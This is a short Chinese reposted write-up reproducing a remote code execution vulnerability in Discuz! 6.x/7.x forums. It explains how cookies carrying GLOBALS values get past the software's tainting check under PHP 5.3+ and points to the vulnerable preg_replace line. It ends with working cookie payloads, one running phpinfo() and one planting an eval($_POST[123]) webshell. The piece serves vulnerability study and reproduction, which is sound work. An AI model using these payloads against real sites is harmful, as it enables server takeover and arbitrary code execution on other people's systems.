discuz!6.x/7.x漏洞复现(一)

Discuz! 6.x/7.x 版本 前台任意代码执行漏洞

转自:https://paper.tuisec.win/detail.jsp?id=f2d8440d77e2c7f

漏洞原理:

由于php 5.3.x及以上版本里php.ini里设置的request_order默认为GP,即$request[]指的是GET和POST,而不包括cookie,导致Discuz! 6.x/7.x 版本利用全局变量防御绕过漏洞

在dz的源代码里,在GPC为off时,GPC为(GET、POST、COOKIE)1时,为$_GET\$_POST\$_COOKIE中的',''等自动转义,而在GPC为0时用addslashes进行转义。在register_globals=on下通过提交GLOBALS变量就可以绕过上面的代码了.为了防止这种情况,dz中有如下代码:

if (isset($_REQUEST['GLOBALS']) OR isset($_FILES['GLOBALS'])) {

exit('Request tainting attempted.');

}

但在php5.3.x及以上版本中,request_order默认为GP,因此利用COOKIE值可以绕过

漏洞位置:include/discuzcode.func.php
$message = preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_DCACHE']['smilies']['replacearray'], $message, $maxsmilies);

请求中Cookie带

GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();

GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval($_POST[123])%3B;

你可能感兴趣的:(discuz!6.x/7.x漏洞复现(一))